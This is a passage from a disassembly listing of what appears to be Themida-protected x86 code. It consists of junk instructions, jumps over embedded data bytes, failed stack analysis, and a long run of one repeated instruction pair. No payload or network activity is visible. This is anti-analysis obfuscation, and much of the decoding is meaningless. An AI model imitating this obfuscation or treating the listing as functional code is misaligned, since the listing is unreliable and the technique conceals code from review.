		and	esi, 11529B71h
		pop	ebx
		mov	edi, 3E910C96h
		popa
		pusha
		mov	ch, dh
		mov	edx, ecx
		popa
		push	esi
		push	edi
		mov	dh, 0D6h
		pop	edi
		pop	edx
		mov	ch, 8Ch
		sbb	ah, 0E8h
		jmp	loc_5D5412
; ---------------------------------------------------------------------------
		dd 2C2638D7h
		db 0A3h, 71h
; ---------------------------------------------------------------------------


loc_5D5412:				; CODE XREF: sub_5D53E9+1Ej
		call	sub_5D5423
		push	es
		mov	ch, 0AEh
		cli
		pusha
		xchg	eax, ebx
		inc	ebx
		and	eax, 9EB3C1B1h
sub_5D53E9	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5D5423	proc near		; CODE XREF: sub_5D53E9:loc_5D5412p
		pop	ecx
		sub	si, 230Fh
		and	ecx, 3BC8ADFCh
		and	dh, 6Ah
		jmp	loc_5D5444
; ---------------------------------------------------------------------------
		db 0E4h
		dd 0A86946BAh, 0B29A3A4h, 0C93DD0F1h
; ---------------------------------------------------------------------------


loc_5D5444:				; CODE XREF: sub_5D5423+Fj
		jnz	loc_5D544D
		movsx	ecx, di


loc_5D544D:				; CODE XREF: sub_5D5423:loc_5D5444j
		cmc
		mov	ecx, ebx
		jmp	loc_5D5467
; ---------------------------------------------------------------------------
		db 0BDh, 0E6h, 0D4h
		dd 0AC4BC82h, 0EF3B6A1Ah, 4005F44Bh
		db 0F9h, 0EAh, 0D7h
; ---------------------------------------------------------------------------


loc_5D5467:				; CODE XREF: sub_5D5423+2Dj
		jmp	loc_5D5473
; ---------------------------------------------------------------------------
		dd 29B6C709h
		db 80h,	24h, 0C8h
; ---------------------------------------------------------------------------


loc_5D5473:				; CODE XREF: sub_5D5423:loc_5D5467j
		jg	loc_5D547E
		push	eax
		and	al, 0CAh
		pop	ebx


loc_5D547E:				; CODE XREF: sub_5D5423:loc_5D5473j
		jmp	loc_5D5491
; ---------------------------------------------------------------------------
		db 0F6h
		dd 5213AF42h, 70C56A64h, 0C97A964Ah
; ---------------------------------------------------------------------------
		icebp


loc_5D5491:				; CODE XREF: sub_5D5423:loc_5D547Ej
		sub	cl, 0EBh
		pusha
		jmp	loc_5D54A2
; ---------------------------------------------------------------------------
		dw 9E7Bh
		dd 3236C5Eh
		db 0DCh, 4Ah
; ---------------------------------------------------------------------------


loc_5D54A2:				; CODE XREF: sub_5D5423+72j
		mov	ax, 0D6ABh
		popa
		mov	esi, 57D7C019h
		movsx	ecx, bx
		jmp	loc_5D54C3
; ---------------------------------------------------------------------------
		dd 727EF89Ch, 5FE38BB4h, 0C1BC55CBh
		db 90h
		db 42h,	39h
; ---------------------------------------------------------------------------


loc_5D54C3:				; CODE XREF: sub_5D5423+8Cj
		movzx	esi, ax
		jo	$+6
		jmp	loc_5D54DB
; ---------------------------------------------------------------------------
		db 46h,	22h, 6Bh
		dd 0DFD34495h
		db 9, 0BAh, 0A9h
; ---------------------------------------------------------------------------


loc_5D54DB:				; CODE XREF: sub_5D5423+A9j
		call	near ptr loc_5D54E5+1
		loop	near ptr loc_5D5542+2
		push	ss
		fsubr	qword ptr [edi]


loc_5D54E5:				; CODE XREF: sub_5D5423:loc_5D54DBp
		sbb	al, 0F8h
sub_5D5423	endp ; sp-analysis failed

		pop	ecx
		jnp	loc_5D54F2
		mov	dx, 0D9D5h


loc_5D54F2:				; CODE XREF: Themida_:005D54E8j
		call	sub_5D550B
		push	eax
		cmp	[ecx], cl
		sbb	eax, 4F318A1Ch
		outsd
		scasb
		mov	word ptr [esi-680C1E1Eh], es
		movsd
; ---------------------------------------------------------------------------
		db 8Fh,	0A8h, 5Ah

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_5D550B	proc near		; CODE XREF: Themida_:loc_5D54F2p
		jmp	sub_5D551E
sub_5D550B	endp

; ---------------------------------------------------------------------------
		dd 528905CFh, 0FB828D52h, 0FEFBF5Dh
		db 25h,	85h

; =============== S U B	R O U T	I N E =======================================



sub_5D551E	proc near		; CODE XREF: sub_5D550Bj
					; sub_5D551E+1Cj

; FUNCTION CHUNK AT 005D55BB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005D55C6 SIZE 00000048 BYTES
; FUNCTION CHUNK AT 005D5617 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005D562D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005D5638 SIZE 00000012 BYTES

		pop	ecx
		push	ebx
		pusha
		pusha
		popa
		movzx	esi, dx
		popa
		pop	esi
		call	sub_5D553F
		adc	[ebx+7790BCCEh], ecx
		test	cl, ah
		mov	edi, 0CFD53D44h
		jno	short sub_5D551E
		push	edx
		jge	short loc_5D55BB
sub_5D551E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5D553F	proc near		; CODE XREF: sub_5D551E+Ap
		mov	dh, 0F1h
		pop	ebx


loc_5D5542:				; CODE XREF: sub_5D5423+BDj
		mov	bx, cx
		mov	cl, 0BAh
		mov	bx, 9AE0h
		call	near ptr loc_5D555A+3
		xchg	eax, edx
		push	edx
		int	9Bh		; used by BASIC	while in interpreter
		cmp	eax, 90929612h
		dec	ebp


loc_5D555A:				; CODE XREF: sub_5D553F+Cp
		xor	[ebx-79F0A1FEh], bh
sub_5D553F	endp ; sp-analysis failed

		or	al, [eax]
; ---------------------------------------------------------------------------
		dw 0
; ---------------------------------------------------------------------------
		pusha
		jge	$+6
		mov	dh, ah
		popa
		mov	dh, 9Ch
		jmp	loc_5D5586
; ---------------------------------------------------------------------------
		db 0B8h, 77h, 1Ch
		dd 84C67EE4h, 0D151686Dh, 1BC1C92Ah
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 22h
; ---------------------------------------------------------------------------


loc_5D5586:				; CODE XREF: Themida_:005D5570j
		or	edx, 4F11E60Fh
		sbb	ecx, 638D9BCAh
		jmp	loc_5D55A1
; ---------------------------------------------------------------------------
		db 6Bh
		dd 0B1611256h, 6C4275C5h
; ---------------------------------------------------------------------------
		daa


loc_5D55A1:				; CODE XREF: Themida_:005D5592j
		push	esi
		push	eax
		jmp	loc_5D55B0
; ---------------------------------------------------------------------------
		xor	ah, al
		push	0FFFFFFE9h
		db	36h
		test	[ebp-3Eh], bl


loc_5D55B0:				; CODE XREF: Themida_:005D55A3j
		pop	edi
		pop	ebx
		mov	cx, dx
		jnp	loc_5D55C6
; START	OF FUNCTION CHUNK FOR sub_5D551E


loc_5D55BB:				; CODE XREF: sub_5D551E+1Fj
		jmp	loc_5D55C6
; END OF FUNCTION CHUNK	FOR sub_5D551E
; ---------------------------------------------------------------------------
		dd 0AFA577B7h
		db 0BCh, 63h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5D551E


loc_5D55C6:				; CODE XREF: Themida_:005D55B5j
					; sub_5D551E:loc_5D55BBj
		mov	edi, ebx
		mov	al, 6Fh
		mov	ecx, 62B08A2Bh
		add	di, 0C340h
		sub	eax, 397F1AA5h
		push	edi
		call	near ptr loc_5D55E7+5
		push	ebx
		adc	esi, [esi-3FFE79B3h]


loc_5D55E7:				; CODE XREF: sub_5D551E+BDp
		test	dword ptr ds:0B9973921h, 4484F99Ah
		pop	esi
		pop	edi
		mov	di, bx
		sub	ah, 0E1h
		mov	bl, 67h
		mov	ebx, 2661D4E4h
		pusha
		js	loc_5D5609
		mov	bl, dl


loc_5D5609:				; CODE XREF: sub_5D551E+E3j
					; sub_5D564C+2Dj
		jmp	loc_5D5617
; END OF FUNCTION CHUNK	FOR sub_5D551E
; ---------------------------------------------------------------------------
		dw 0EA5Eh
		dd 62DB9416h
		db 0D5h, 1Eh, 0E2h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5D551E


loc_5D5617:				; CODE XREF: sub_5D551E:loc_5D5609j
		popa
		stc
		add	ch, 0ADh
		xor	ebx, 779F11FBh
		jmp	loc_5D562D
; END OF FUNCTION CHUNK	FOR sub_5D551E
; ---------------------------------------------------------------------------
		db 0BEh
		dd 0F2494C20h
		db 0D4h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5D551E


loc_5D562D:				; CODE XREF: sub_5D551E+104j
		jmp	loc_5D5638
; END OF FUNCTION CHUNK	FOR sub_5D551E
; ---------------------------------------------------------------------------
		dw 39A5h
		dd 0C76CE2D3h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5D551E


loc_5D5638:				; CODE XREF: sub_5D551E:loc_5D562Dj
		call	sub_5D564C
		xor	dl, [ecx+7F2F957Ch]
		call	near ptr 66F5778Ah
		jmp	short near ptr loc_5D5648+1 ; CODE XREF: sub_5D551E:loc_5D5648j
; END OF FUNCTION CHUNK	FOR sub_5D551E
; ---------------------------------------------------------------------------
		dw 7905h

; =============== S U B	R O U T	I N E =======================================



sub_5D564C	proc near		; CODE XREF: sub_5D551E:loc_5D5638p
		mov	bl, 0E1h
		pop	eax
		movzx	ebx, di
		mov	si, di
		mov	dh, 71h
		sub	si, 6548h
		mov	ecx, ebx
		adc	bx, 0C9D8h
		mov	eax, 213715ACh
		add	ecx, 0E633982h
		jnz	$+6
		call	near ptr loc_5D5685+6
		loopne	near ptr loc_5D5609+1
		mov	ebp, 8154FDB0h
		shr	byte ptr [ebp+3Ch], 1
		dec	esi
		clc


loc_5D5685:				; CODE XREF: sub_5D564C+28p
		xor	[edx+edx-7F87AA81h], bh
sub_5D564C	endp ; sp-analysis failed

		fdivr	dword ptr [edi]
		pop	edx
		jmp	loc_5D569C
; ---------------------------------------------------------------------------
		dd 1FF6EC19h, 0A60A48CCh
; ---------------------------------------------------------------------------


loc_5D569C:				; CODE XREF: Themida_:005D568Fj
		mov	cx, ax
		mov	eax, 1F8E7EC3h


loc_5D56A4:				; CODE XREF: Themida_:005D56C7j
		movsx	eax, cx
		mov	cx, dx
		mov	di, 2BABh
		jmp	loc_5D56BC
; ---------------------------------------------------------------------------
		db 0BEh
		dd 0B636FBEDh, 0EC647C4Ah
; ---------------------------------------------------------------------------


loc_5D56BC:				; CODE XREF: Themida_:005D56AEj
		and	bx, 0BD36h
		jmp	loc_5D56CD
; ---------------------------------------------------------------------------


loc_5D56C6:				; CODE XREF: Themida_:005D56FBj
		inc	esi
		jno	short loc_5D56A4
; ---------------------------------------------------------------------------
		db 69h,	2Bh, 2Dh
		db 0DCh
; ---------------------------------------------------------------------------


loc_5D56CD:				; CODE XREF: Themida_:005D56C1j
		jno	loc_5D56D9
		and	edx, 4FC56ECAh


loc_5D56D9:				; CODE XREF: Themida_:loc_5D56CDj
		add	ch, 0EEh
		mov	dx, di
		mov	edx, ebx
		sub	di, 8AB9h
		cmc
		cld
		mov	ecx, edi
		cmc
		add	cx, 4816h
		movzx	esi, di
		call	near ptr loc_5D5707+1
		xchg	esp, [ebx]
		insb
		jbe	short loc_5D56C6
		inc	ebp
		sub	ebx, [ecx]
		movsb
		sub	byte ptr [edi+46h], 3Ch
		stc


loc_5D5707:				; CODE XREF: Themida_:005D56F3p
		db	2Eh
		pop	edi
		jmp	loc_5D571B
; ---------------------------------------------------------------------------
		dw 401Ah
		dd 4530B784h, 6D2A5D9Ch
		db 0FEh, 63h, 32h
; ---------------------------------------------------------------------------


loc_5D571B:				; CODE XREF: Themida_:005D5709j
		cmc
		call	sub_5D5732
		fldcw	word ptr [edx-8]
		or	al, 9Eh
		sub	eax, edi
		inc	ebp
		adc	al, 36h
		cmp	[esi-54F1D916h], ecx
; ---------------------------------------------------------------------------
		db 0FEh

; =============== S U B	R O U T	I N E =======================================



sub_5D5732	proc near		; CODE XREF: Themida_:005D571Cp
		pusha
		stc
		add	edx, 3B5F96E4h
		popa
		pop	ecx
		sbb	ebx, 5C411A2Bh
		cld
		jb	$+6
		stc
		mov	ebx, edx
		sbb	edi, 43504F4Eh
		jmp	loc_5D575C
; ---------------------------------------------------------------------------
		mov	ds:9131C54h, al


loc_5D575C:				; CODE XREF: sub_5D5732+20j
		or	edx, 4A576B4Eh
		jmp	loc_5D5775
; ---------------------------------------------------------------------------
		db 0Bh
		dd 6950E671h, 4E9626C2h, 29D05D32h
		db 2Ah
; ---------------------------------------------------------------------------


loc_5D5775:				; CODE XREF: sub_5D5732+30j
		movsx	ecx, di
		jnb	$+6
		mov	eax, edi
		mov	cl, dl
		mov	ebx, esi
		jmp	loc_5D579D
; ---------------------------------------------------------------------------
		db 0FBh, 18h, 0BEh
		dd 3AAA6B09h, 39A0CF9Eh, 1085AD40h, 4FDA1357h
		db 7Eh
; ---------------------------------------------------------------------------


loc_5D579D:				; CODE XREF: sub_5D5732+52j
		mov	edx, ecx
		pusha
		xor	ax, 92B0h
		and	bl, 3
		popa
		jmp	loc_5D57BF
; ---------------------------------------------------------------------------
		dw 296Ch
		dd 6487E6AEh, 0C927A49h, 0CECC0538h
; ---------------------------------------------------------------------------
		aas
		sbb	dl, dh


loc_5D57BF:				; CODE XREF: sub_5D5732+77j
		mov	ah, bh
		movsx	edi, si
		push	edi
		adc	ax, 0DFD6h
		pop	ecx
		mov	ax, di
		jmp	loc_5D57D9
; ---------------------------------------------------------------------------
		db 5Fh
		dd 2D5FF539h
		db 8
; ---------------------------------------------------------------------------


loc_5D57D9:				; CODE XREF: sub_5D5732+9Cj
		cld
		jmp	loc_5D57ED
; ---------------------------------------------------------------------------
		db 55h
		dd 60565972h, 7656E5Fh,	7EF6CD0Fh
		db 0E0h
; ---------------------------------------------------------------------------


loc_5D57ED:				; CODE XREF: sub_5D5732+A8j
		mov	bh, 0BBh
		stc
		jmp	loc_5D57FD
; ---------------------------------------------------------------------------
		db 0ABh, 6Dh, 0B5h
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 54h,	0BFh, 9Ch
		db 0DFh
; ---------------------------------------------------------------------------


loc_5D57FD:				; CODE XREF: sub_5D5732+BEj
		mov	eax, ebx
		movsx	ebx, ax
		jmp	loc_5D5810
; ---------------------------------------------------------------------------
		push	fs
		jns	short loc_5D5864
		retn
; ---------------------------------------------------------------------------
		dd 0B1D3F618h
; ---------------------------------------------------------------------------


loc_5D5810:				; CODE XREF: sub_5D5732+D0j
		add	bl, 0E8h
		jz	loc_5D5820
		push	edx
		mov	ebx, 1B2EEE4Eh
		pop	edx


loc_5D5820:				; CODE XREF: sub_5D5732+E1j
		movsx	edi, cx
		mov	bx, 9808h
		jz	loc_5D5830
		mov	ax, dx


loc_5D5830:				; CODE XREF: sub_5D5732+F5j
		mov	cx, 0A2F1h
		call	sub_5D584B
		mov	byte ptr [ecx],	30h
		pop	es
		adc	[ecx], bh
		sal	byte ptr [ebp-546962B8h], 1
		db	66h
		xor	al, 0CCh
		iret
sub_5D5732	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		mov	fs, word ptr [eax]

; =============== S U B	R O U T	I N E =======================================



sub_5D584B	proc near		; CODE XREF: sub_5D5732+102p
		mov	al, 70h
		pop	edi
		push	ecx
		pop	ecx
		jmp	loc_5D585D
; ---------------------------------------------------------------------------
		clc
		pop	ebp
		add	ebx, [esi]
		add	bl, 0B1h


loc_5D585D:				; CODE XREF: sub_5D584B+5j
		push	0FFFFFFA7h
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx


loc_5D5864:				; CODE XREF: sub_5D5732+D7j
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
